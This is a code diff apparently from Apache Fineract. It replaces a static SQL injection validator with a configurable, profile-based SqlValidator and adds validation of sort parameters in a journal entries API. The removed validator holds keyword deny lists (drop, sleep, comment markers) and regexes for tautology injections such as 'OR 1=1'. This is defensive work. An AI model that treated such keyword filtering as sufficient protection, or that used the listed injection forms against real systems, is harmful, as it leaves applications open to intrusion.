+import org.apache.fineract.infrastructure.core.exception.AbstractPlatformDomainRuleException;
+
+@Getter
+public class SqlValidationException extends AbstractPlatformDomainRuleException {
+
+ public SqlValidationException(final String message) {
+ super("error.msg.sql.validation", "SQL validation error: " + message);
+ }
+}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlValidator.java
new file mode 100644
index 0000000..113f7d2
--- /dev/null
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlValidator.java
@@ -0,0 +1,28 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.security.service;
+
+import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
+
+public interface SqlValidator {
+
+ void validate(String statement) throws SqlValidationException;
+
+ void validate(String profile, String statement) throws SqlValidationException;
+}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
index cf5c2ee..f16ecd6 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
@@ -31,25 +31,22 @@
import java.util.Map;
import java.util.Objects;
import java.util.Set;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.beans.factory.annotation.Autowired;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.datasource.DataSourceUtils;
import org.springframework.stereotype.Component;
+@Slf4j
+@RequiredArgsConstructor
@Component
public class ColumnValidator {
- private static final Logger LOG = LoggerFactory.getLogger(ColumnValidator.class);
+ private final SqlValidator sqlValidator;
private final JdbcTemplate jdbcTemplate;
- @Autowired
- public ColumnValidator(final JdbcTemplate jdbcTemplate) {
- this.jdbcTemplate = jdbcTemplate;
- }
-
@SuppressFBWarnings(value = "NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE", justification = "TODO: fix this!")
private void validateColumn(Map<String, Set<String>> tableColumnMap) {
Connection connection = null;
@@ -87,7 +84,7 @@
columns.add(rs.getString("column_name"));
}
} catch (SQLException e) {
- LOG.error("Problem occurred in getTableColumns function", e);
+ log.error("Problem occurred in getTableColumns function", e);
}
return columns;
}
@@ -97,7 +94,7 @@
if (StringUtils.isBlank(condition)) {
continue;
}
- SQLInjectionValidator.validateSQLInput(condition);
+ sqlValidator.validate("column", condition);
List<String> operator = new ArrayList<>(Arrays.asList("=", ">", "<", "> =", "< =", "! =", "!=", ">=", "<="));
condition = condition.trim().replace("( ", "(").replace(" )", ")").toLowerCase();
for (String op : operator) {
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/DefaultSqlValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/DefaultSqlValidator.java
new file mode 100644
index 0000000..311473b
--- /dev/null
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/DefaultSqlValidator.java
@@ -0,0 +1,100 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.security.utils;
+
+import jakarta.annotation.PostConstruct;
+import java.util.Comparator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.fineract.infrastructure.core.config.FineractProperties;
+import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
+import org.springframework.stereotype.Component;
+
+@Slf4j
+@RequiredArgsConstructor
+@Component
+public class DefaultSqlValidator implements SqlValidator {
+
+ private final FineractProperties properties;
+
+ private Map<String, Pattern> patterns = new LinkedHashMap<>();
+ private Map<String, FineractProperties.FineractSqlValidationProfileProperties> profiles = new LinkedHashMap<>();
+
+ private static final String MAIN_PROFILE = "main";
+
+ @PostConstruct
+ public void init() {
+ properties.getSqlValidation().getPatterns().forEach(pattern -> {
+ log.info("Setup SQL validation pattern: {}", pattern.getName());
+
+ patterns.put(pattern.getName(), Pattern.compile(pattern.getPattern(), Pattern.DOTALL));
+ });
+ properties.getSqlValidation().getProfiles().forEach(profile -> {
+ log.info("Setup SQL validation profile: {}", profile.getName());
+
+ profile.getPatternRefs()
+ .sort(Comparator.comparing(FineractProperties.FineractSqlValidationPatternReferenceProperties::getOrder));
+
+ profiles.put(profile.getName(), profile);
+ });
+
+ // consistency checks
+
+ if (!profiles.containsKey(MAIN_PROFILE)) {
+ throw new IllegalStateException(
+ "SQL validation profile 'main' missing. This validation profile is the default fallback and has to be provided. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
+ }
+
+ // the default profile needs at least one pattern reference
+ if (profiles.get(MAIN_PROFILE).getPatternRefs().isEmpty()) {
+ throw new IllegalStateException(
+ "SQL Validation pattern references in profile 'main' are empty. Please make sure there is at least one reference available. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
+ }
+
+ // the default profile needs to be enabled
+ profiles.get(MAIN_PROFILE).setEnabled(true);
+ }
+
+ @Override
+ public void validate(final String statement) throws SqlValidationException {
+ validate(MAIN_PROFILE, statement);
+ }
+
+ @Override
+ public void validate(final String profile, final String statement) throws SqlValidationException {
+ if (StringUtils.isBlank(statement)) {
+ return;
+ }
+
+ for (var ref : profiles.getOrDefault(profile, profiles.get(MAIN_PROFILE)).getPatternRefs()) {
+ Matcher matcher = patterns.get(ref.getName()).matcher(statement);
+
+ if (matcher.matches()) {
+ log.warn("SQL validation error: >> {} <<", statement);
+ throw new SqlValidationException(String.format("invalid SQL statement (detected '%s' pattern)", ref.getName()));
+ }
+ }
+ }
+}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLBuilder.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLBuilder.java
index 999f752..283e53b 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLBuilder.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLBuilder.java
@@ -28,8 +28,8 @@
* Utility to assemble the WHERE clause of an SQL query without the risk of SQL injection.
*
* <p>
- * When using this utility instead of manually assembling SQL queries, then {@link SQLInjectionValidator} should not be
- * required anymore. (Correctly using this means only ever passing completely fixed String literals to .)
+ * When using this utility instead of manually assembling SQL queries, then {@link SqlValidator} should not be required
+ * anymore. (Correctly using this means only ever passing completely fixed String literals to .)
*
* @author Michael Vorburger <mike@vorburger.ch>
*/
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionException.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionException.java
index 3170bf8..36ff0d7 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionException.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionException.java
@@ -21,6 +21,7 @@
import java.sql.SQLException;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
+@Deprecated
public class SQLInjectionException extends PlatformApiDataValidationException {
public SQLInjectionException() {
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidator.java
deleted file mode 100644
index 74c540b..0000000
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidator.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/**
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements. See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership. The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * "License"); you may not use this file except in compliance
- * with the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied. See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-package org.apache.fineract.infrastructure.security.utils;
-
-import java.util.List;
-import java.util.StringTokenizer;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import org.apache.commons.lang3.StringUtils;
-
-public final class SQLInjectionValidator {
-
- private SQLInjectionValidator() {
-
- }
-
- private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
-
- private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
-
- private static final String[] COMMENTS = { "--", "({", "/*", "#" };
-
- private static final String SQL_PATTERN = "[a-zA-Z_=,\\-:'!><.?\"`% ()0-9*\n\r]*";
-
- // TODO: see here https://rails-sqli.org for and
- // https://larrysteinle.com/2011/02/20/use-regular-expressions-to-detect-sql-code-injection more examples
- private static final List<String> INJECTION_PATTERNS = List.of("(?i).*[or|and]\s*[\"']?-1[\"']?\\s*(-*).*",
- "(?i).*\\s+[\"']?(\\d+)[\"']?\\s*=\\s*[\"']?(\\1)[\"']?\\s*(-*).*");
-
- public static void validateSQLInput(final String sqlSearch) {
- if (StringUtils.isBlank(sqlSearch)) {
- return;
- }
-
- String lowerCaseSQL = sqlSearch.toLowerCase();
- List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
- validateSQLCommands(lowerCaseSQL, commandsList, String::contains);
-
- patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
- }
-
- public static void validateAdhocQuery(final String sqlSearch) {
- if (StringUtils.isBlank(sqlSearch)) {
- return;
- }
-
- String lowerCaseSQL = sqlSearch.toLowerCase().trim();
- validateSQLCommand(lowerCaseSQL, DDL_COMMANDS, String::startsWith);
- validateSQLCommand(lowerCaseSQL, COMMENTS, String::contains);
-
- // Removing the space before and after '=' operator
- // String s = " \" OR 1 = 1"; For the cases like this
- patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
- }
-
- public static void validateDynamicQuery(final String sqlSearch) {
- if (StringUtils.isBlank(sqlSearch)) {
- return;
- }
-
- String lowerCaseSQL = sqlSearch.toLowerCase();
- List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
- validateSQLCommands(lowerCaseSQL, commandsList, String::equals);
-
- // Removing the space before and after '=' operator
- // String s = " \" OR 1 = 1"; For the cases like this
- patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
- }
-
- private static void patternMatchSqlInjection(String sqlSearch, String lowerCaseSQL) {
- // Removing the space before and after '=' operator
- // String s = " \" OR 1 = 1"; For the cases like this
- boolean injectionFound = false;
-
- String inputSqlString = lowerCaseSQL.replaceAll("\\s*=\\s*", "=");
-
- StringTokenizer tokenizer = new StringTokenizer(inputSqlString, " ");
- while (tokenizer.hasMoreTokens()) {
- String token = tokenizer.nextToken().trim();
- if (token.equals("'")) {
- if (tokenizer.hasMoreElements()) {
- String nextToken = tokenizer.nextToken().trim();
- if (!nextToken.equals("'")) {
- injectionFound = true;
- break;
- }
- } else {
- injectionFound = true;
- break;
- }
- }
- if (token.equals("\"")) {
- if (tokenizer.hasMoreElements()) {
- String nextToken = tokenizer.nextToken().trim();
- if (!nextToken.equals("\"")) {
- injectionFound = true;
- break;
- }
- } else {
- injectionFound = true;
- break;
- }
- } else if (token.indexOf('=') > 0) {
- StringTokenizer operatorToken = new StringTokenizer(token, "=");
- String operand = operatorToken.nextToken().trim();
- if (!operatorToken.hasMoreTokens()) {
- injectionFound = true;
- break;
- }
- String value = operatorToken.nextToken().trim();
- if (operand.equals(value)) {
- injectionFound = true;
- break;
- }
- }
- }
-
- if (injectionFound) {
- throw new SQLInjectionException();
- }
-
- for (String injectionPattern : INJECTION_PATTERNS) {
- Pattern pattern = Pattern.compile(injectionPattern);
- Matcher matcher = pattern.matcher(sqlSearch);
- if (matcher.matches()) {
- throw new SQLInjectionException();
- }
- }
-
- Pattern pattern = Pattern.compile(SQL_PATTERN);
- Matcher matcher = pattern.matcher(sqlSearch);
- if (!matcher.matches()) {
- throw new SQLInjectionException();
- }
- }
-
- private static void validateSQLCommand(String lowerCaseSQL, String[] commands, SQLCommandCondition condition) {
- for (String command : commands) {
- if (condition.checkCondition(lowerCaseSQL, command)) {
- throw new SQLInjectionException();
- }
- }
- }
-
- private static void validateSQLCommands(String lowerCaseSQL, List<String[]> commandsList, SQLCommandCondition condition) {
- for (String[] commands : commandsList) {
- validateSQLCommand(lowerCaseSQL, commands, condition);
- }
- }
-}
diff --git a/fineract-core/src/main/java/org/apache/fineract/portfolio/search/data/AdHocQueryDataValidator.java b/fineract-core/src/main/java/org/apache/fineract/portfolio/search/data/AdHocQueryDataValidator.java
index 643e8f5..b52fedf 100644
--- a/fineract-core/src/main/java/org/apache/fineract/portfolio/search/data/AdHocQueryDataValidator.java
+++ b/fineract-core/src/main/java/org/apache/fineract/portfolio/search/data/AdHocQueryDataValidator.java
@@ -29,19 +29,23 @@
import java.util.List;
import java.util.Map;
import java.util.Set;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.data.ApiParameterError;
import org.apache.fineract.infrastructure.core.data.DataValidatorBuilder;
import org.apache.fineract.infrastructure.core.exception.InvalidJsonException;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
-import org.springframework.beans.factory.annotation.Autowired;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
+@Slf4j
+@RequiredArgsConstructor
@Component
public class AdHocQueryDataValidator {
+ private final SqlValidator sqlValidator;
private final FromJsonHelper fromApiJsonHelper;
private static final Set<String> AD_HOC_SEARCH_QUERY_REQUEST_DATA_PARAMETERS = new HashSet<>(Arrays.asList(
AdHocQuerySearchConstants.entitiesParamName, AdHocQuerySearchConstants.loanStatusParamName,
@@ -66,11 +70,6 @@
AdHocQuerySearchConstants.arrearsLoanStatusOption, AdHocQuerySearchConstants.closedLoanStatusOption,
AdHocQuerySearchConstants.writeoffLoanStatusOption };
- @Autowired
- public AdHocQueryDataValidator(final FromJsonHelper fromApiJsonHelper) {
- this.fromApiJsonHelper = fromApiJsonHelper;
- }
-
public void validateAdHocQueryParameters(final String json) {
if (StringUtils.isBlank(json)) {
@@ -229,7 +228,7 @@
String loanDateOption = null;
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.loanDateOptionParamName, element)) {
loanDateOption = this.fromApiJsonHelper.extractStringNamed(AdHocQuerySearchConstants.loanDateOptionParamName, element);
- SQLInjectionValidator.validateSQLInput(loanDateOption);
+ sqlValidator.validate(loanDateOption);
}
LocalDate loanFromDate = null;
@@ -252,7 +251,7 @@
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element)) {
outStandingAmountPercentageCondition = this.fromApiJsonHelper
.extractStringNamed(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element);
- SQLInjectionValidator.validateSQLInput(outStandingAmountPercentageCondition);
+ sqlValidator.validate(outStandingAmountPercentageCondition);
}
BigDecimal minOutStandingAmountPercentage = null;
@@ -283,7 +282,7 @@
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element)) {
outstandingAmountCondition = this.fromApiJsonHelper
.extractStringNamed(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element);
- SQLInjectionValidator.validateSQLInput(outstandingAmountCondition);
+ sqlValidator.validate(outstandingAmountCondition);
}
BigDecimal minOutstandingAmount = null;
diff --git a/fineract-core/src/main/java/org/apache/fineract/portfolio/search/service/SearchUtil.java b/fineract-core/src/main/java/org/apache/fineract/portfolio/search/service/SearchUtil.java
index d8dcbba..5a2d9c5 100644
--- a/fineract-core/src/main/java/org/apache/fineract/portfolio/search/service/SearchUtil.java
+++ b/fineract-core/src/main/java/org/apache/fineract/portfolio/search/service/SearchUtil.java
@@ -39,6 +39,8 @@
import java.util.Map;
import java.util.function.Predicate;
import java.util.stream.Collectors;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.BooleanUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.data.ApiParameterError;
@@ -50,30 +52,34 @@
import org.apache.fineract.infrastructure.core.service.database.JdbcJavaType;
import org.apache.fineract.infrastructure.core.service.database.SqlOperator;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.search.data.ColumnFilterData;
import org.apache.fineract.portfolio.search.data.FilterData;
import org.springframework.jdbc.support.rowset.SqlRowSet;
+import org.springframework.stereotype.Component;
-public final class SearchUtil {
+@Slf4j
+@RequiredArgsConstructor
+@Component
+public class SearchUtil {
public static final int DEFAULT_PAGE_SIZE = 50;
private static final JsonParserHelper helper = new JsonParserHelper();
- private SearchUtil() {}
+ private final SqlValidator sqlValidator;
@NotNull
- public static Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
+ public Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
return columnHeaders.stream().collect(Collectors.toMap(ResultsetColumnHeaderData::getColumnName, e -> e));
}
- public static ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
+ public ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
@NotNull Predicate<ResultsetColumnHeaderData> filter) {
return columnHeaders.stream().filter(filter).findFirst().orElse(null);
}
- public static ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
+ public ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
@NotNull Predicate<ResultsetColumnHeaderData> filter) {
ResultsetColumnHeaderData filtered = findFiltered(columnHeaders, filter);
if (filtered == null) {
@@ -82,8 +88,8 @@
return filtered;
}
- public static void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns,
- @NotNull List<String> resultColumns, @NotNull List<JsonObject> results) {
+ public void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns, @NotNull List<String> resultColumns,
+ @NotNull List<JsonObject> results) {
JsonObject json = new JsonObject();
for (int i = 0; i < selectColumns.size(); i++) {
Object rowValue = rowSet.getObject(selectColumns.get(i));
@@ -115,15 +121,15 @@
}
@NotNull
- public static List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
+ public List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
boolean allowEmpty) {
List<ResultsetColumnHeaderData> columnHeaders = validateToJdbcColumns(columns, headersByName, allowEmpty);
return columnHeaders.stream().map(e -> e == null ? null : e.getColumnName()).toList();
}
@NotNull
- public static List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns,
- Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
+ public List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
+ boolean allowEmpty) {
final List<ApiParameterError> errors = new ArrayList<>();
List<ResultsetColumnHeaderData> result = new ArrayList<>();
@@ -140,13 +146,13 @@
return result;
}
- public static String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
+ public String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
ResultsetColumnHeaderData columnHeader = validateToJdbcColumn(column, headersByName, allowEmpty);
return columnHeader == null ? null : columnHeader.getColumnName();
}
- public static ResultsetColumnHeaderData validateToJdbcColumn(String column,
- @NotNull Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
+ public ResultsetColumnHeaderData validateToJdbcColumn(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
+ boolean allowEmpty) {
final List<ApiParameterError> errors = new ArrayList<>();
ResultsetColumnHeaderData columnHeader = validateToJdbcColumnImpl(column, headersByName, errors, allowEmpty);
if (!errors.isEmpty()) {
@@ -155,8 +161,8 @@
return columnHeader;
}
- private static ResultsetColumnHeaderData validateToJdbcColumnImpl(String column,
- @NotNull Map<String, ResultsetColumnHeaderData> headersByName, @NotNull List<ApiParameterError> errors, boolean allowEmpty) {
+ private ResultsetColumnHeaderData validateToJdbcColumnImpl(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
+ @NotNull List<ApiParameterError> errors, boolean allowEmpty) {
if (!allowEmpty && column == null) {
errors.add(parameterErrorWithValue("error.msg.column.empty", "Column filter is empty", API_PARAM_COLUMN, null));
}
@@ -173,9 +179,9 @@
return columnHeader;
}
- public static boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where,
- @NotNull List<Object> params, String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat,
- String dateTimeFormat, Locale locale, boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
+ public boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where, @NotNull List<Object> params,
+ String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
+ boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
if (columnFilters == null) {
return false;
}
@@ -192,7 +198,7 @@
return added;
}
- public static boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
+ public boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
String columnName = columnFilter.getColumn();
@@ -221,9 +227,8 @@
return size > 0;
}
- public static void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator,
- List<Object> values, @NotNull StringBuilder where, @NotNull List<Object> params, String alias,
- @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
+ public void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator, List<Object> values,
+ @NotNull StringBuilder where, @NotNull List<Object> params, String alias, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
int paramCount = values == null ? 0 : values.size();
where.append(operator.formatPlaceholder(sqlGenerator, definition, paramCount, alias));
if (values != null) {
@@ -231,13 +236,13 @@
}
}
- public static Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
+ public Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
return columnHeader.getColumnType().toJdbcValue(sqlGenerator.getDialect(),
parseColumnValue(columnHeader, columnValue, dateFormat, dateTimeFormat, locale, strict, sqlGenerator), false);
}
- public static Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
+ public Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
JdbcJavaType colType = columnHeader.getColumnType();
if (!colType.isStringType() || !columnHeader.isMandatory()) {
@@ -254,7 +259,7 @@
return columnValue;
}
if (strict) {
- SQLInjectionValidator.validateDynamicQuery(columnValue);
+ sqlValidator.validate(columnValue);
}
if (columnHeader.hasColumnValues()) {
@@ -314,7 +319,7 @@
return columnValue;
}
- public static String camelToSnake(final String camelStr) {
+ public String camelToSnake(final String camelStr) {
return camelStr == null ? null
: camelStr.replaceAll("([A-Z]+)([A-Z][a-z])", "$1_$2").replaceAll("([a-z])([A-Z])", "$1_$2").toLowerCase();
}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/api/JournalEntriesApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/api/JournalEntriesApiResource.java
index 48b655a..66018dd 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/api/JournalEntriesApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/api/JournalEntriesApiResource.java
@@ -67,6 +67,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
import org.glassfish.jersey.media.multipart.FormDataParam;
import org.springframework.stereotype.Component;
@@ -92,6 +93,7 @@
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+ private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -147,8 +149,10 @@
submittedOnDateTo = submittedOnDateToParam.getDate("submittedOnDateTo", dateFormat, locale);
}
- final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId,
- savingsId);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).loanId(loanId).savingsId(savingsId).build();
JournalEntryAssociationParametersData associationParametersData = new JournalEntryAssociationParametersData(transactionDetails,
runningBalance);
@@ -246,7 +250,7 @@
@QueryParam("entryId") final Long entryId, @Context final UriInfo uriInfo) {
this.context.authenticatedUser();
String transactionId = "P" + entryId;
- SearchParameters params = SearchParameters.forPagination(offset, limit);
+ SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).build();
Page<JournalEntryData> entries = this.journalEntryReadPlatformService.retrieveAll(params, null, null, null, null, null, null,
transactionId, PortfolioProductType.PROVISIONING.getValue(), null);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/service/JournalEntryReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/service/JournalEntryReadPlatformServiceImpl.java
index 603f652..dc19626 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/service/JournalEntryReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/service/JournalEntryReadPlatformServiceImpl.java
@@ -264,7 +264,7 @@
whereClose = " and ";
}
- if (searchParameters.isOfficeIdPassed()) {
+ if (searchParameters.hasOfficeId()) {
sqlBuilder.append(whereClose).append(" journalEntry.office_id = ?");
objectArray[arrayPos] = searchParameters.getOfficeId();
arrayPos = arrayPos + 1;
@@ -272,7 +272,7 @@
whereClose = " and ";
}
- if (searchParameters.isCurrencyCodePassed()) {
+ if (searchParameters.hasCurrencyCode()) {
sqlBuilder.append(whereClose).append(" journalEntry.currency_code = ?");
objectArray[arrayPos] = searchParameters.getCurrencyCode();
arrayPos = arrayPos + 1;
@@ -339,7 +339,7 @@
}
}
- if (searchParameters.isLoanIdPassed()) {
+ if (searchParameters.hasLoanId()) {
sqlBuilder.append(whereClose)
.append(" journalEntry.loan_transaction_id in (select id from m_loan_transaction where loan_id = ?)");
objectArray[arrayPos] = searchParameters.getLoanId();
@@ -347,18 +347,18 @@
whereClose = " and ";
}
- if (searchParameters.isSavingsIdPassed()) {
+ if (searchParameters.hasSavingsId()) {
sqlBuilder.append(whereClose).append(
